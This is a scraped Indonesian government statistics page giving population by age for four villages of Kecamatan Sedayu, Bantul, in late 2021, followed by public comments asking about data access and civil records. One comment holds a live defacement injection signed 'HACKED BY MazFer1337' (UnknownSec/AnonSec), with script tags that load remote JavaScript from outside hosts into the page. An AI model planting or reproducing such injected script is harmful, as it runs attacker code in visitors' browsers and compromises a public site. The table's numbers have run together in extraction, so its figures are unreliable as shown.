Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN SEDAYU, KABUPATEN BANTUL, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaARGODADIARGOREJOARGOSARIARGOMULYOTotal
LPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun140126 266132151 283117105 222170164 334559 546 1.105
2 tahun7375 14810385 1885953 1129590 185330 303 633
3 tahun8977 1667888 1666858 12611180 191346 303 649
4 tahun7665 1418677 1636549 1149392 185320 283 603
5 tahun9068 1588069 1496462 1268998 187323 297 620
6 tahun9569 1647688 1645358 1119794 191321 309 630
7 tahun8991 18011081 1915749 106104117 221360 338 698
8 tahun8790 17710786 1937278 150104105 209370 359 729
9 tahun8088 168112107 2197152 123105106 211368 353 721
10 tahun9786 18310687 1936166 127114100 214378 339 717
11 tahun9375 168106104 2108467 151107107 214390 353 743
12 tahun8777 164101104 2056665 131131102 233385 348 733
13 tahun7886 164103117 2206763 130125106 231373 372 745
14 tahun8287 1699094 1847068 138103108 211345 357 702
15 tahun9667 1639788 1856560 12510097 197358 312 670
16 tahun9290 18210094 1946155 11613991 230392 330 722
17 tahun6873 1418996 1855558 113103104 207315 331 646
18 tahun8783 17012388 2116356 11910295 197375 322 697
19 tahun8381 16410484 1886271 13312092 212369 328 697
20 tahun11571 1869087 1776062 12211298 210377 318 695
21 tahun10479 1839496 1906864 1329994 193365 333 698
22 tahun9080 1707899 1775860 1189492 186320 331 651
23 tahun7380 1539477 1715761 11810586 191329 304 633
24 tahun9479 1739185 1766953 1229985 184353 302 655
25 tahun8290 1728684 1707674 1509484 178338 332 670
26 tahun8888 17697102 1995876 1348797 184330 363 693
27 tahun11795 21297106 2036076 136109106 215383 383 766
28 tahun8785 172103113 2168168 149100100 200371 366 737
29 tahun7373 1468193 1748374 15710193 194338 333 671
30 tahun8379 1628695 1817265 137105101 206346 340 686
31 tahun106100 2069196 1878167 148107116 223385 379 764
32 tahun8692 17810773 1805877 13510296 198353 338 691
33 tahun7276 1488484 1685966 12510384 187318 310 628
34 tahun9680 1767382 1555744 10182107 189308 313 621
35 tahun6680 1469479 1735464 11884102 186298 325 623
36 tahun8492 1768295 1777261 13396109 205334 357 691
37 tahun9169 1608394 1775459 113130126 256358 348 706
38 tahun8183 1649696 1928068 148112124 236369 371 740
39 tahun93104 197111103 2146973 142117127 244390 407 797
40 tahun9996 195122120 2426866 134121108 229410 390 800
41 tahun8583 16810297 1996470 13413094 224381 344 725
42 tahun8279 16196108 2046560 125115117 232358 364 722
43 tahun102106 20811094 2047796 173120130 250409 426 835
44 tahun8178 1599987 1867269 141112118 230364 352 716
45 tahun8668 1548988 1778166 14796117 213352 339 691
46 tahun8484 16810995 2047658 134126115 241395 352 747
47 tahun8079 1597672 1487143 11410093 193327 287 614
48 tahun7790 1677383 1565284 13690107 197292 364 656
49 tahun11185 1968591 1766057 117105111 216361 344 705
50 tahun7872 15094106 2006770 137110101 211349 349 698
51 tahun7984 1639996 1955741 9894105 199329 326 655
52 tahun10193 194112105 2176974 14310197 198383 369 752
53 tahun6881 1497696 1726166 127102118 220307 361 668
54 tahun7885 16368108 1766769 13679101 180292 363 655
55 tahun7979 1589083 1735858 1168573 158312 293 605
56 tahun8783 17098108 2067574 149112104 216372 369 741
57 tahun7969 1488899 1876646 11264103 167297 317 614
58 tahun7070 1406877 1455564 1198377 160276 288 564
59 tahun6161 1226166 1275354 1079691 187271 272 543
60 tahun6060 1207364 1376253 1156780 147262 257 519
61 tahun6685 1516378 1415078 1287390 163252 331 583
62 tahun6687 1537368 1415264 11680105 185271 324 595
63 tahun5762 1194673 1195256 1086867 135223 258 481
64 tahun6758 1255058 1083249 817688 164225 253 478
65 tahun4648 944553 984041 815473 127185 215 400
66 tahun6060 1205653 1094643 896859 127230 215 445
67 tahun6454 1185042 924642 885772 129217 210 427
68 tahun3735 724441 852432 567644 120181 152 333
69 tahun2635 614342 852323 464851 99140 151 291
70 tahun2327 503739 762229 513229 61114 124 238
71 tahun3742 792834 621923 423431 65118 130 248
72 tahun2737 641530 451819 373330 6393 116 209
73 tahun1932 512624 502319 422828 5696 103 199
74 tahun2232 541712 291619 351824 4273 87 160
75 tahun1421 351215 271311 241726 4356 73 129
76 tahun2040 602128 491526 412039 5976 133 209
77 tahun2541 661618 341528 432942 7185 129 214
78 tahun920 291215 271917 362124 4561 76 137
79 tahun2817 452020 401714 312533 5890 84 174
80 ke atas125195 32092129 22173139 21294147 241384 610 994
Jumlah6.0285.94211.9706.3756.44212.8174.5974.6159.2127.2097.23714.446 24.209 24.236 48.445
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih